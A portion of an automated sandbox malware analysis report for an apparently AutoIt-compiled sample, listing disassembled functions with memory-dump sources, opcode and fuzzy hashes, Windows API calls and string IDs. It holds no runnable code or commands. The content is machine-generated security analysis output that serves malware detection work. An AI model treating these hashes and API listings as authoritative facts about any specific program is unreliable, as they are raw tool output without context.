                                                          Function 00508808 Relevance: .6, Instructions: 590COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e04a870792ce3699c14aa636a897c694ae8a614013e8542c05a42e387b75090c
                                                          • Instruction ID: 98798ed97fe92fd85698dbb85d0a9348360eff0785a3d71928e186f487da6130
                                                          • Opcode Fuzzy Hash: e04a870792ce3699c14aa636a897c694ae8a614013e8542c05a42e387b75090c
                                                          • Instruction Fuzzy Hash: 3B220430A045168BDF38CA24C494BBC7FA1BF41358F28886BD9D68B9D3EB709D91DA41
                                                          Function 005262D2 Relevance: .6, Instructions: 557COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: bc7fecf508b4920fc1c1bc28bac9d0ef03daa81f707fb1098f8f19e91a218c87
                                                          • Instruction ID: 4146a7c2ceb43369389adc94c3a31bc58440f2242fc6c7f0b13f0683181f0139
                                                          • Opcode Fuzzy Hash: bc7fecf508b4920fc1c1bc28bac9d0ef03daa81f707fb1098f8f19e91a218c87
                                                          • Instruction Fuzzy Hash: 44126F71A0162A9FDF04CFA8E8915ECBBB2FF99314F64463DE422E72D4D770A9058B50
                                                          Function 00526844 Relevance: .6, Instructions: 557COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 003f226caf54d34f3ba6fdf1b53ff538be6a33a81afbb51930af099ce433de99
                                                          • Instruction ID: 9daaef8b622b5e706731173724e10f8f6ac675a579497bfdaa92b969ed4497a8
                                                          • Opcode Fuzzy Hash: 003f226caf54d34f3ba6fdf1b53ff538be6a33a81afbb51930af099ce433de99
                                                          • Instruction Fuzzy Hash: E9125071A1162A9FDF04CFA8E8805EDBBB2FF89310F64462DE422E72D4D77069458B50
                                                          Function 00505760 Relevance: .5, Instructions: 532COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7a48aaf92c7714c392cfe235de065e87d2db68626b3685b2e1797b6928a9d855
                                                          • Instruction ID: 9ef7b23955f7680f534755af7c7c26b4d62865344343ac26136cccf011cfd800
                                                          • Opcode Fuzzy Hash: 7a48aaf92c7714c392cfe235de065e87d2db68626b3685b2e1797b6928a9d855
                                                          • Instruction Fuzzy Hash: E612AC70A00609DFDF04DFA5D985AEEBBB5FF48304F204929E906E7290EB35AD54CB54
                                                          Function 00505520 Relevance: .5, Instructions: 516COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cc1dc96e7783f551ec44489912b2ee08c09f6ca774433149fa00ae1e1f8fb499
                                                          • Instruction ID: 77907f0dce75a147d914d296764631e51b3e8f0527db3b1a4e95c3b8877ba4d7
                                                          • Opcode Fuzzy Hash: cc1dc96e7783f551ec44489912b2ee08c09f6ca774433149fa00ae1e1f8fb499
                                                          • Instruction Fuzzy Hash: F902DEB0A00209DBDF04DF64D885ABEBFB5FF88304F608469E906DB295EB75D950CB90
                                                          Function 00511484 Relevance: .5, Instructions: 481COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: df8c57be8b3a0b8850f4ee744be242a062a6bed6c932ab50e898815fa9abd43a
                                                          • Instruction ID: 73b75ef448b5afc8e05e2e0b8d8b160b725ee2638a012ffa54b9493133480edc
                                                          • Opcode Fuzzy Hash: df8c57be8b3a0b8850f4ee744be242a062a6bed6c932ab50e898815fa9abd43a
                                                          • Instruction Fuzzy Hash: 4602F9322059930AEF2D4A3994700BB7FA17E927B130E47DDD8B7CB1D1EE20D9A4D654
                                                          Function 005121C5 Relevance: .3, Instructions: 345COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                          • Instruction ID: 4912fafb382538fb3960dc4f4d271b1ff8c93adce939f0b42460b00ac2a2e8f9
                                                          • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                          • Instruction Fuzzy Hash: 1AC184362051930AFF2D463994750BEFEA17EA27B171A079DD4B3CB1D4EE20C9B5D620
                                                          Function 005125FA Relevance: .3, Instructions: 341COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                          • Instruction ID: 2f3d871056c7251d8cb080d744a7a750437c24bda54dccd06a366ffbe1e08781
                                                          • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                          • Instruction Fuzzy Hash: 65C1A5322055930AFF2D463AD4351BEBEA17EA27B171A07ADD4B3DB0D4EE10C9B4D620
                                                          Function 00511978 Relevance: .3, Instructions: 323COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                          • Instruction ID: e96c9be79c406d23a0b0c6b8aa0d915457e2961a43f674db5284f48978402deb
                                                          • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                          • Instruction Fuzzy Hash: 50C1A43220989309EF2D4639D4351BEBFA17EA27B131A07DDD5B3CB1C4EE20C9A5D654
                                                          Function 0052242E Relevance: .3, Instructions: 294COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3fc4d40aa75f6110c88c1d5d4e9e41f0486444194a2300c59d45ff31451d00ea
                                                          • Instruction ID: a5f5ab364a1c8fcef8e683c4d45690b17eea9240e8ce219c9cdfc9c024d2824b
                                                          • Opcode Fuzzy Hash: 3fc4d40aa75f6110c88c1d5d4e9e41f0486444194a2300c59d45ff31451d00ea
                                                          • Instruction Fuzzy Hash: 4BB11030E2AF504DE72396388831336BA5CAFBB2C5F51E71BFC2674D62EB2185875241
                                                          Function 00526DB6 Relevance: .2, Instructions: 197COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 13ae554fede668713c8418b731cea2a7546aabb52c717da24dcf4f4522932379
                                                          • Instruction ID: 3ac3042161c6ee6785cae0266053ba3c21c4c68bd614860651ad6a99c5763fd9
                                                          • Opcode Fuzzy Hash: 13ae554fede668713c8418b731cea2a7546aabb52c717da24dcf4f4522932379
                                                          • Instruction Fuzzy Hash: C7612C75E006268BCF18CF1DD89016AFBFABF95300719C1AAE919EF35AD670D941CB90
                                                          Function 00EA5598 Relevance: .1, Instructions: 92COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                          • Instruction ID: 438f90ab8de4a5dca22b12ae58c1dcde9177e77e88bc7d6a72e72acfa18ae0ab
                                                          • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                          • Instruction Fuzzy Hash: 9641B571D1051CDBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB50
                                                          Function 00EA5428 Relevance: .0, Instructions: 35COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                          • Instruction ID: 6a4c26ea77d4058fc5750be6559df809631cd89cb982a668b577fb8e8fd78faa
                                                          • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                          • Instruction Fuzzy Hash: D6019279A11609EFCB44DF98C5909AEF7F5FB4C310F20859AE819AB705D730AE41DB80
                                                          Function 00EA5488 Relevance: .0, Instructions: 35COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                          • Instruction ID: f435af7b2bff95d36a0cd2d1647f402ad878e7aaa62c3ffb949d9064a30385e7
                                                          • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                          • Instruction Fuzzy Hash: 99019279A05609EFCB44DF98C5909AEF7F5FB8C310F208599E819AB705D730AE91DB80
                                                          Function 00EA3DD8 Relevance: .0, Instructions: 6COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                          • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                          • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                          • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                          Function 00567806 Relevance: 75.7, APIs: 39, Strings: 4, Instructions: 491filecommemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DeleteObject.GDI32(00000000), ref: 0056785B
                                                          • DeleteObject.GDI32(00000000), ref: 0056786D
                                                          • DestroyWindow.USER32 ref: 0056787B
                                                          • GetDesktopWindow.USER32 ref: 00567895
                                                          • GetWindowRect.USER32(00000000), ref: 0056789C
                                                          • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 005679DD
                                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 005679ED
                                                          • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567A35
                                                          • GetClientRect.USER32(00000000,?), ref: 00567A41
                                                          • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00567A7B
                                                          • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567A9D
                                                          • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567AB0
                                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567ABB
                                                          • GlobalLock.KERNEL32(00000000), ref: 00567AC4
                                                          • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567AD3
                                                          • GlobalUnlock.KERNEL32(00000000), ref: 00567ADC
                                                          • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567AE3
                                                          • GlobalFree.KERNEL32(00000000), ref: 00567AEE
                                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567B00
                                                          • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00582CAC,00000000), ref: 00567B16
                                                          • GlobalFree.KERNEL32(00000000), ref: 00567B26
                                                          • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00567B4C
                                                          • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00567B6B
                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567B8D
                                                          • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00567D7A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                          • String ID: $AutoIt v3$DISPLAY$static
                                                          • API String ID: 2211948467-2373415609
                                                          • Opcode ID: d7c98e54d4d87b0557f064bb98f998754414c77fa6a80876b1aca2007475f335
                                                          • Instruction ID: 74e779d94f8459e2e750e9af0cbb3761fead87d0a1812189fb6fa09a006bff95
                                                          • Opcode Fuzzy Hash: d7c98e54d4d87b0557f064bb98f998754414c77fa6a80876b1aca2007475f335
                                                          • Instruction Fuzzy Hash: 08029E75900119EFDB14DFA4DC89EAE7BB9FF48314F108159F905AB2A1CB30AD45DB60
                                                          Function 0057356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharUpperBuffW.USER32(?,?,0057F910), ref: 00573627
                                                          • IsWindowVisible.USER32(?), ref: 0057364B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: BuffCharUpperVisibleWindow
                                                          • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                          • API String ID: 4105515805-45149045
                                                          • Opcode ID: fcef5cfa05e5169ace5b04937c077ec24b051792cc313f3345529589134c5ebb
                                                          • Instruction ID: 9c3224b49737d72e04a2de18da1e635a97ad49012c75ae25abcf13d329e844c5
                                                          • Opcode Fuzzy Hash: fcef5cfa05e5169ace5b04937c077ec24b051792cc313f3345529589134c5ebb
                                                          • Instruction Fuzzy Hash: E5D184302143019BCB04EF10D456AAE7FE1BF95364F148859F88A5B3E2DB71EE89EB51
                                                          Function 0057A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetTextColor.GDI32(?,00000000), ref: 0057A630
                                                          • GetSysColorBrush.USER32(0000000F), ref: 0057A661
                                                          • GetSysColor.USER32(0000000F), ref: 0057A66D
                                                          • SetBkColor.GDI32(?,000000FF), ref: 0057A687
                                                          • SelectObject.GDI32(?,00000000), ref: 0057A696
                                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 0057A6C1
                                                          • GetSysColor.USER32(00000010), ref: 0057A6C9
                                                          • CreateSolidBrush.GDI32(00000000), ref: 0057A6D0
                                                          • FrameRect.USER32(?,?,00000000), ref: 0057A6DF
                                                          • DeleteObject.GDI32(00000000), ref: 0057A6E6
                                                          • InflateRect.USER32(?,000000FE,000000FE), ref: 0057A731
                                                          • FillRect.USER32(?,?,00000000), ref: 0057A763
                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0057A78E
                                                            • Part of subcall function 0057A8CA: GetSysColor.USER32(00000012), ref: 0057A903
                                                            • Part of subcall function 0057A8CA: SetTextColor.GDI32(?,?), ref: 0057A907
                                                            • Part of subcall function 0057A8CA: GetSysColorBrush.USER32(0000000F), ref: 0057A91D
                                                            • Part of subcall function 0057A8CA: GetSysColor.USER32(0000000F), ref: 0057A928
                                                            • Part of subcall function 0057A8CA: GetSysColor.USER32(00000011), ref: 0057A945
                                                            • Part of subcall function 0057A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0057A953
                                                            • Part of subcall function 0057A8CA: SelectObject.GDI32(?,00000000), ref: 0057A964
                                                            • Part of subcall function 0057A8CA: SetBkColor.GDI32(?,00000000), ref: 0057A96D
                                                            • Part of subcall function 0057A8CA: SelectObject.GDI32(?,?), ref: 0057A97A
                                                            • Part of subcall function 0057A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0057A999
                                                            • Part of subcall function 0057A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0057A9B0
                                                            • Part of subcall function 0057A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0057A9C5
                                                            • Part of subcall function 0057A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0057A9ED
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                          • String ID:
                                                          • API String ID: 3521893082-0
